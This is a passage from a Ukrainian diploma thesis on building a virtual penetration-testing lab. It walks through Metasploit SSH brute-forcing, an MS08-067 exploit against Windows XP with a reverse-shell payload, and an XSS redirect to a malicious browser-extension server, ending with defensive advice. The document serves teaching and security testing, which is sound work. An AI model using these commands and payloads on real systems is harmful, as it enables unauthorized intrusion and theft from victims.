Створення віртуальної тестової лабораторії
Особливість встановлення віртуальних тестових машин та сервера. Аналіз зміни порту веб-управління маршрутизатором. Характеристика віддаленого керування системою. Тестування веб-сервера на надійність в середовищі уявної випробувальної лабораторії.
Рубрика | Программирование, компьютеры и кибернетика |
Вид | дипломная работа |
Язык | украинский |
Дата добавления | 04.06.2015 |
Размер файла | 3,4 M |
Отправить свою хорошую работу в базу знаний просто. Используйте форму, расположенную ниже
Студенты, аспиранты, молодые ученые, использующие базу знаний в своей учебе и работе, будут вам очень благодарны.
Рис. 39. Імпорт.
VEGA
В порівнянні з попереднім, даний сканер програє у інтерактивності. Його не можна покласти на віддалене сканування через певні проміжки часу. Але у порівнянні з більшістю, сканер виграє. Деякою перевагою над Nessus є те, що його не потрібно встановлювати як окремий сервер, а функціоналу він не сильно посувається. Це виражається у більш детальній побудові структурі сайту, а також більш жорсткій політиці тестування. Ключовою особливість є вивід рекомендацій по усуненню вразливостей.
Рис. 40. Vega.
Тестування надійності засобів віддаленого управління
Перш за все, доцільно протестувати головний метод віддаленого управління, а саме ssh. Ssh шифрується за допомогою алгоритму шифрування rsa, тому про злам самого алгоритму мова не йде. Проте, як і будь-який інший, даний алгоритм вразливий до «брутфорс»-атаки. Наявність слабкого ключа - гарант успішної атаки на ssh.
Для практичної демонстрації злому, використано засоби програми Metasploit.
ssh_version
Дізнатись коректну версію ssh, що встановлено на сервері потрібно, щоб збільшити шанс успіху.
Щоб викликатицейдопоміжниймодульвикористано наступнукоманду:
Useauxiliary/scanner/ssh/ssh_version
Достатньовказатицільовий діапазонадресв "Rhosts"."Rhosts" можебути унікальнимIP-адресом,IP-адресомвдіапазоні(наприклад: 192.168.1.0-192.168.1.255або192.168.1.0/24) або файлом(наприклад: /tmp/ip_addresses.txt).
Рис. 41. Версія ssh.
ssh_login
Після отримання версії ssh, що працює на стороні сервера, функціонал зловмисника зростає. Для прикладу, можна скористатись модулем ssh_login. Відмінною рисою модуля є одночасний перебір по логіну та паролю. Звісно це сильно збільшує час перебору, проте, якщо відомо імена кількох користувачів - час перебору зменшиться.
Щоб викликатицейдопоміжниймодульпростовведітьнаступнукоманду:
Useauxiliary/scanner/ssh/ssh_login
Цеймодульнамагаєтьсяперевірити відповідністьза допомогоюSSHна серверіз використанням іменікористувачатапароля, зазначені в "USER_FILE", "PASS_FILE" і "USERPASS_FILE".В Metasploitзабезпеченофайлидля"USER_FILE" (/opt/metasploit3/msf3/data/wordlists/unix_users.txt) і "PASS_FILE" (/opt/metasploit3/msf3/data/wordlists/unix_passwords.txt). ТакожможнавикористовуватиSkullSecurityсписокпаролів,абосвій власнийсписок.
Кожен успішний злом автоматично створить нову сесію.
Рис. 42. Опції.
Допустиміспробивходувідображаються зеленимкольором,невдалі забарвлено вчервоний.
Рис. 43. Процес перебору.
Рис. 44. Створення активної сесії.
Тестування надійності ОС, що встановлені у віртуальному тестовому середовищі
Додатковою особливістю віртуальної тестової лабораторії є її універсальність. Тестування може здійснюватися не тільки щодо веб-серверів, чи поштових-серверів, ігрових, ftp і т.п. Система дозволяє тестувати на проникнення будь-який пристрій, що має вихід в Інтернет. Хорошим прикладом універсальності лабораторії є тестування на проникнення різних операційних система персонального використання, як наприклад Windows.
Metasploit
Створений компанією Rapid7 у 2003 році. Поставляється для Linux та Windows. Що цікаво, так це ліцензія на програму - BSD, тобто безплатна з можливістю додання змін у вихідний код програми. Саме BSD дала великий поштовх у розвиток Metasploit, тому база програми розширюється з кожним роком сотнями ентузіастів у сфері ІБ, як зловмисниками так і спеціалістами.
Metasploit насамперед модульна, експлойти та "начинки" до них можна як скачати окремо, по мірі їх необхідності, або створити самому.
Експлойти - це програми, які використовують вразливості системи. Для кожної вразливості потрібен свій експлойт.
"Начинка" (payload) - вектор, в якому буде здійснено злом. Іншими словами, тоді як експлойт це використання вразливості, то "начинка" - вказує як саме використати вразливість.
• сканування жертви на предмет відкритих портів
• пошук експлойтів відповідно до знайдених вразливостей
• застосування експлойтів, "начинок"
• доступ до командного рядка жертви
Перед початком потрібно провірити, що кожна з машин бачить одна одну.
Зробити це можна командою "pingх.х.х.х" (де х.х.х.х відповідний IP адрес).
Для визначення ip-адреса в windows команда "ipconfig" (команди вводяться в командний рядок cmd.exe). Відповідно в Ubuntu команда "ifconfig" (вводиться в терміналі).
На домашній системі (хостовій) встановлено програму nmap.
Nmap - це сканер вразливостей та відкритих портів. За його допомогою можна дізнатись про вразливості майже будь-якого комп'ютера, якщо той знаходиться в мережі інтернет та має зовнішній IP-адрес. Його особливістю є те, що в 80% жертва не буде знати що її було проскановано.
Nmap - кроссплатформений, а також безплатний, його особливістю є його дуже широкий функціонал, висока швидкість роботи, а також компактний розмір (як пакету інсталяції так і в оперативній пам'яті при його роботі).
Сканування здійснювалось з хостової машини, командою nmap з параметром -А, що дало більш агресивне та повне сканування.
Загалом команда nmap -A 192.168.0.102 дала такий результат:
Рис. 45. Результат сканування за допомогою Nmap.
135/tcp open msrpc Microsoft Windows RPC ; 139/tcp open netbios-ssn ; 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds ; 2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP) - це порти, найбільш потрібними є 135 та 445.
Конкретно порти 135 та 445 є системними, через які можна завдяки певним маніпуляціям, повисити собі права, до системних. І саме ці порти відкриті прощо свідчить параметр open.
Крім того вдалось просканувати та дізнатись тип операційної системи, унікальну MAC-адресу комп'ютера, робочу групу, ім'якомп'ютера та навіть годину. Це далеко не всі можливості Nmap, але в контексті даної роботи не вистачать перерахувати всіх можливостей цього сканера.
Відкриті порти свідчать про те, що на системі-жертві відключений Брандмауер, основна задача якого саме фільтрувати трафік, закриваючи відповідні порти. Також з цією задачею може справитись антивірус.
Після успішного сканування, командою msfupdate оновлено базу даних Metasploit на BackTrack, для пошуку можливих експлойтів, які б підійшли до цих портів. Оновити базу виявилось легко, адже все відбувалось в автоматичному режимі.
Запуск Metasloit через команду msfconsole, тобто в консольному режимі. Графічний інтерфейс у Metasloit є, але через недостатню потужність комп'ютера (три операційні системи працюють паралельно одна одній одночасно), вирішено скористатись консоллю.
Після запуску msfconsole, комп'ютер складав базу. Показником нормальної роботи програми є вивід "msf>" - тобто відтепер звернення відбувається не від свого імені, а від імені програми.
Знайшовши в інтернеті, що для цих портів найкраще застосовувати експлойти з netapi.
"search netapi" - пошук по базі всіх експлойтів дав декілька результатів, серед який був один з тегом "great", що означає велику ймовірність успіху.
Наступним кроком було підключення цього експлойта командою
"useexploit/windows/smb/ms08_067_netapi".
"showoptions" переконався, що хоча б один з відкритих портів підтримується.
Встановив RHOST, тобто вказав адрес жертви,
"set RHOST 192.168.0.102"
"set PAYLOAD windows/shell/reverse_tcp" - задав "начинку".
Тут доступна велика кількість варіантів, але обрано shell, для доступу до "оболонки" Windows. Як варіант можна було використати
"setpayload windows/meterpreter/reverse_tcp"
"set LHOST 192.168.0.100" - закріплення, тобто вказано звідки буде здійснено атаку, та де "висітиме" експлойт.
"exploit" - запустити процес злому. Після чого все відбувається в автоматичному режимі, і залишається лише чекати та надіятись на успіх.
При першій спробі, доступ отримати не вдалось, натомість було отримано ще більше даних про жертву.
§ [*] Startedreversehandleron 192.168.0.100:4444
§ [*] Automaticallydetectingthe target...
§ [*] Fingerprint: Windows XP - Service Pack 3 - lang:Russian
§ [*] Selected Target: Windows XP SP3 Russian (NX)
§ [*] Attempting to triggerthevulnerability...
Дізнавшись, яка мова стоїть на комп'ютері, можна дещо збільшити шанси на успіх.
"showtargets" - список можливих жертв, знайшовши у списку XP3 з російською мовою, задав цей параметр
"set target 60" (60 номер за списком)
Підтвердженням, того що процедура злому успішна, була зміна msf> на C:/(імя користувача)
Рис. 46. Успішний злом.
Потрапивши у систему, зловмисник вільний робити все. При бажані можна було б навіть форматувати жорсткий диск.
Найчастіший розвиток подій в такій ситуації, внесення змін у реєстрWindows, для подальшого "тихого" встановлення програми, типу Radmin, VNC, для віддаленого керування комп'ютером, використовуючи графічний інтерфейс, або становлення невидимих кейлоггерів для крадіжки паролів. Варіантів багато.
Оскільки кількість експлойтів є дуже великою, весь процес можна здійснити по іншому: все залежить від того, які саме цілі переслідуються. Для прикладу можна було скористатись наступними командами
§ search dcom
§ useexploit/windows/dcerpc/ms03_026_dcom
§ set RHOST
§ PAYLOAD generic/shell_reverse_tcp
§ set LHOST
Тобто в разі неможливості здійснення проникнення в систему одним методом, можна використати інший, комбінуючи різні експлойти та «начинки».
Єдиним дієвим методом протидії є ввімнення фаєрволу, встановлення антивірусу, оновлення ПЗ. Справа в тім, що фаєрвол закриває ті порти, як не виготовується. Деякі антивіруси також мають таку можливість. Також антивіруси не дозволять відбуватись підозрілій активності без відома користувача. Оновлення ПЗ природнім чином усуває вразливість, оскільки вона викликана невірним написанням коду програми (ОС), що при оновленні виправляється розколинками.
Використання вразливості XSS
Всі попередні сканери вразливостей виявили небезпечну вразливість XSS (XST). Експлуатація її дозволяє отримати повний доступ саме до користувача, який мав нещастя зайти на сайт, з цією вразливістю.
Суть заключається в тому, що при написанні повідомлення (наприклад на форумі), це повідомлення ніяк не ігнорується системою. Таким чином можна написати код, який виконаєтеся. Для перевірки вразливості, введем наступне:
<script>alert(“NO”)</script>
Рис. 47. Перевірка вразливості.
Рис. 48. Вразливість присутня.
При отриманні результату як на Рис. 13. можна переходити до наступного кроку. А саме - написання переадресації користувача з даного серверна, на інший, який спеціальноконфігурований, щоб «зламати» користувача.
Для того, щоб не писати такий спеціально конфігурований сайт самому, можна скористатись засобами Metasploit. В BackTrackвводимо msfconsole та очікуємо на привітання програми.
usefirefox_xpi_bootstrtapped_addon
set LSHOT 194.168.0.102
exploit
Рис. 49. Експлойт «Розширення для браузера».
Таким чином, отримали очікуваний веб-сервер,за адресою 192.168.0.102:7070/C6p8Hq5wPip
Повертаємось до вразливого сайту.
На місті alert вводимо наступне
<script>window.location = “192.168.0.102:7070/C6p8Hq5wPip”</script>
Оскільки форма відправки не дозволяє відправити більше, аніж 50 символів, потрібно у випадаючому меню, обрати «Дослідити елемент» та змінити значення.
Рис. 50. Переадресація користувача.
Тепер залишається лишень чекати, коли хтось перейде на сайт.
Після переходу, користувачеві буде пропоновано скачати розширення до браузера. Тут йде в хід соціальної інженерія.
Рис. 51. Активні сесії.
sessions -l
Виведе всі активні сесії, тобто користувачів, які перейшли за посиланням.
Перевіряєм чи справді все вдалось. Навмання вводимо команду. Dir - на ОС Windows виведе список папок.
Рис. 52. Успішне проникнення.
В даному розділі розлянутовиявлення вразливостей. Насамперед це здійснюється за допомогою засобів ОС BackTrack. В даній ОС попередньо встановлена велика кількість потрібних сканерів.
Сканери вразливостей надсилають на досліджуваний сервер велику кількість даних, та аналізуються відповіді. Деякі сканери (Nesuss, VEGA) працюють більш жорстко, тобто їхнє сканування передбачає проникнення в систему. Тому їх використання повинне бути обдуманим, на не бути направленим на об'єкти, що не належать до досліджуваної групи. В противному разі сканування можна вважати спробою злому системи, та потягне за собою відповідну відповідальність.
Також в даному розділі розглянуто методи використання виявлених вразливостей. Це робиться для того, щоб перевірити, чи справді дана вразливість є небезпечною, а також, щоб зрозуміти дії зловмисника, та ефективно їх заблокувати. Такий підхід дозволить реально зрозуміти, як вразливість себе проявляє, та що є її першопричиною.
Потрібно пам'ятати, що сканування відбувається відповідно до попередньо створених баз. Це означає, що виявлені вразливості є виявленими тільки тому, що вони є відомими. Вразливості «нульового дня» - ще не виявлені, або недоступні широкому загалу, проте можуть бути використані зловмисниками. Захист від них можливий лише при детальному їх аналізі.
Висновок
Метаю даної дипломної роботи було створеннявіртуальної тестової лабораторії. На практиці, було використано наступні засоби:
· Один ноутбук, фірми EMachines
o Процесор: Intel Core i3-370M
o Оперативна пам'ять: 4 Gb DDR3
o ОС - Kubuntu 13.10 64bit
· Віртуальні машини запущені з VirtualBox 4.3:
o ОС для здійснення атак -BackTrack 5 R3 64Bit
o ОС для тестування на вразливість - Windows XP SP2 32Bit
o ОС для тестування веб-сервера - FreeBSD 10.1 64Bit
Тестування відбувалось, зокрема, на основні вразливості системи. Такі вразливості вдалось знайти завдяки сканерам вразливостей Nessus, Nikto, Uniscan.
В даній роботі акцент зроблено на створенні робочої віртуальної лабораторії. Також наведено кілька прикладів виявлення вразливостей, та практична демонстрація використання цих вразливостей для отримання несанкціонованого доступу до інформації, що зберігається на віддалених машинах. Дані приклади спричинені досліджуваною системою -- веб-сервером, що функціонує на ОС FreeBSD. Тобто кількість тестів є необмеженою, та залежить від конкретної ситуації. Також, як продемонстровано в роботі, є можливість тестування користувацьких ОС.
Проект даної віртуальної тестової лабораторії дозволить тестувати різного роду ПЗ, а також цілі ОС на предмет наявності в них вразливих місць. Сама лабораторія являє собою комплекс програмно-віртуалізованих ОС, одна частина яких складає об'єкти тестування, інша - суб'єкти. Заміна цих засобів не вимагає великих зусиль, адже лабораторія є модульним рішенням. Таким чином, можливо швидко змінювати вектор тестування, та акцентувати увагу на потрібних тестах.
Додатково, віртуальна тестова лабораторія здатна тестувати не тільки віртуальні машини, але й реальні. Таким чином можна аналізувати ситуацію, виявляти недоліки та усувати їх, не виводячи праюючі системи з роботи.
Проект віртуальної тестової лабораторії можна розприділити між декількома комп'ютерами, таким чином збільшуючи обчислювальні потужності. Для прикладу можна тестувати надійність паролів, методом їх перебору на декількох машинах, що зменшить час тесту. Таким самим чином можна проводити тести на відміну в обслуговуванні, звертаючись з багатьох комп'ютерів, до одного сервера.
Список використаних джерел
1. Linux. Администрирование и системноепрограммирование. 2-е изд. - Собель М - Google Книги-
2. Utilizing Metasploit as a LoginScanner and as a Bruteforce Attack Tool | PenetrationTestingLaboratory | OnlineTrainingCourses - LearnPenetrationTesting in Practice
Анотація
Дипломна робота: кількість сторінок - 93, кількість рисунків - 52.
В даній дипломній роботі розглянуто створення віртуальної тестової лабораторії, що дає змогу проводити тестування надійності веб-серверів, та включає в себе встановленнятестового середовища, встановлення об'єктів захисту (ПЗ для розгортання веб-сервера), тестування на проникнення та методи захисту від розглянутих методів проникнення.
Метою роботи є створення гнучкої системи тестування веб-серверів, для їх захисту від несанкціонованого доступу.
Створена система має не лише навчальну, але й практичну цінність: в межах віртуальної тестової лабораторії можна тестувати актуальне ПЗ на віртуальних машинах, а також проводити аудит безпеки реально працюючих серверів.
Ключові слова: віртуальна тестова лабораторія, веб-сервер, несанкціонований доступ, захист від несанкціонованого доступу.
Thesis: The number of pages - 93, the number of pictures - 52.
In this thesis work is shown the creation of virtual test lab that enables to test the reliability of веб-servers, and includes the installation of the test environment protection facilities installation (software for deploying веб-server), penetration testing and methods of protection considered methods of penetration.
The aim is to create a flexible system of testing веб-servers to protect them from unauthorized access.
The system is not only educational, but also practical value: within virtual test lab can test the actual software on virtual machines and conduct safety audits actually working servers.
Keywords: virtual test lab, веб-server, unauthorized access, protection against unauthorized access.
Перелік умовних позначень
ПЗ - програмне забезпечення.
ОС - операційна система.
ЕОМ - електронно обчислювальна машина.
ПК - персональний комп'ютер.
СУБД - система управління базами даних.
TCP-- один з основних мережевих протоколів Інтернету, призначений для управління передачею даних в мережах і підмережах TCP/IP.
IP - (від англ. InternetProtocoladdress) -- це ідентифікатор (унікальний числовий номер) мережевого рівня, що використовується для адресації комп'ютерів чи пристроїв у мережах, що побудовані з використанням протоколу TCP/IP (наприклад Інтернет).
NAT - (від англ. NetworkAddressTranslation -- перетворення (трансляція) мережевих адрес) -- це механізм зміни мережевої адреси в заголовках IPдатаграм, поки вони проходять через маршрутизуючий пристрій з метою відображення одного адресного простору в інший.
WAN - (від англ. WideArea Network) -- комп'ютерна мережа, що охоплює величезні території.
LAN - (від англ. Local Area Network) являє собою об'єднання певного числа комп'ютерів на відносно невеликій території.
DHCP - (від англ. DynamicHostConfigurationProtocol -- протокол динамічної конфігурації вузла) -- це протокол прикладного рівня, що дозволяє комп'ютерам автоматично одержувати IP-адресу й інші параметри, необхідні для роботи в мережі.
SSH - (від англ. SecureSHell -- «безпечна оболонка») -- мережевий протокол рівня застосунків, що дозволяє проводити віддалене управління комп'ютером і тунелювання TCP-з'єднань.
FTP - (від англ. FileTransferProtocol, FTP) -- дає можливість абоненту обмінюватися двійковими і текстовими файлами з будь-яким комп'ютером мережі, що підтримує протокол FTP.
XST - (від англ. cross-sitetracing - міжсайтове трасування) - вразливість системи безпеки, при експлуатації метода HTTP TRACE.
DNS - (від англ. DomainNameSystem, DNS) -- ієрархічна розподілена система перетворення імені хоста (комп'ютера або іншого мережевого пристрою) в IP-адресу.
DDNS - динамічний DNS адрес.
Размещено на Allbest.ru
Подобные документы
Ключові можливості та сумісність віртуальних тестових машин. VirtualBox в Ubuntu, BackTrack. Поточний стан та опис даної технології. Налаштування спільних папок. Встановлення віртуального тестового сервера, віддалене керування. Тестування на надійність.
курсовая работа [3,7 M], добавлен 24.05.2015Види віртуальних тестових машин, їх ключові можливості, сумісність c операційними системами. Процес установки гостьових ОС BackTrack і FreeBSD. Встановлення серверного програмного забезпечення. Тестування веб-сервера і засобів віддаленого управління.
дипломная работа [3,5 M], добавлен 22.07.2015Налаштування Internеt Explorer. Конфігурація мереженого інтерфейсу. Встановлення DNS-сервера, asminpak.msi, налаштування TCP/IP. Встановлення DHCP-сервера. Віддалене управління через термінал. Створення користувачів і груп та загальних каталогів.
реферат [991,7 K], добавлен 16.06.2010Аналіз існуючих автоматизованих систем управління тестуванням. Розробка алгоритму автоматизованого управління системою тестування працездатності радіоелектронних приладів. Аналіз стенда для тестування та розробка автоматизованого робочого місця.
дипломная работа [1,9 M], добавлен 08.05.2012Інсталяція системи віртуальних машин. Установка ліцензії на використання VMware. Перший сеанс роботи на віртуальному комп’ютері. Застосування системи VMware, виділення оперативної пам’яті, конфігураційні параметри. Встановлення віртуальної Windows Xp.
курсовая работа [4,2 M], добавлен 25.12.2013Використання мережі із топологією "розподілена зірка", витої пари та концентраторів (для сполучення), мережевої карти із роз'ємами типу RG-45, встановлення операційної системи та монтаж мережі комп'ютерної лабораторії із підключенням до Інтернету.
контрольная работа [1,0 M], добавлен 12.06.2010История и основные сведения о сервере. Классификация и ресурсы серверов. Важность системы охлаждения для сервера. Выбор компонентов для сборки сервера. Основные неисправности и способы их устранения. Проведение технического обслуживания и ремонта сервера.
дипломная работа [2,1 M], добавлен 24.06.2015Организация корпоративного файлового сервера, выполняющего функции прокси-сервера на базе ОС Linux. Процесс его реализации. Выбор оптимальной аппаратно-программной платформы. Расчёт сметы затрат на выполнение объёма работ по созданию FTP-сервера.
дипломная работа [2,0 M], добавлен 06.07.2012Основні способи тестування роботи паралельної системи. Функціональне тестування та тестування загальної швидкості. Способи організації та налаштування кластера. Програма для створення віртуальних операційних систем шляхом виділення ресурсів комп'ютера.
лабораторная работа [3,4 M], добавлен 02.06.2011Вибір технології для створення системи управління контентом. Можливості платформи Node.JS. Опис framework Express, який використовується для створення каркасу додатку. База даних MongoDB. Опис компонентів і проектних рішень. Взаємодія клієнта та сервера.
курсовая работа [5,2 M], добавлен 29.11.2013